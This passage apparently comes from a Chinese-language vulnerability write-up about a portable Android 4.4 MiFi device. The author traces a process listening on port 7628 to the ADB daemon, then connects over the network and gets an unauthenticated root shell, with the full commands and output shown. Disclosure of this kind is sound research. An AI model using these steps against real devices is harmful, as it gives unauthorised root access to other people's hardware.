for p in /proc/[0-9]*; do echo "===== $p =====" >> /data/local/tmp/fd_log.txt; ls -l $p/fd/ 2>/dev/null >> /data/local/tmp/fd_log.txt; done
PS E:\Android\mifi_core> adb pull /data/local/tmp/fd_log.txt ./
/data/local/tmp/fd_log.txt: 1 file pulled, 0 skipped. 2.1 MB/s (151665 bytes in 0.067s)
发现罪魁祸首是PID为335的人物,看看究竟是何方神圣:
1
2
3
4
PS E:\Android\mifi_core> adb shell ls -l /proc/335/exe
lrwxrwxrwx root root 2023-11-25 19:36 exe -> /sbin/adbd
PS E:\Android\mifi_core> adb shell cat /proc/335/cmdline
/sbin/adbd
我累个骚刚,辛辛苦苦挖出来的、监听在 0.0.0.0:7628 上的所谓神秘后台进程,竟然就是 Android 自带的 ADB 守护进程!
于是我们一把梭哈:
1
2
3
4
5
6
7
PS E:\Android\mifi_core> adb connect 192.168.100.1:7628
connected to 192.168.100.1:7628
PS E:\Android\mifi_core> adb -s 192.168.100.1:7628 shell
root@msm8916_32_512:/ # id
uid=0(root) gid=0(root) context=u:r:shell:s0
root@msm8916_32_512:/ # whoami
/system/bin/sh: whoami: not found
游戏彻底结束。这是一个名副其实的 0-Click 无密码远程 Root 后门。甚至由于 Android 4.4 系统在编译为 userdebug 时,连 RSA 弹窗授权机制都被关闭了,我们直接进来。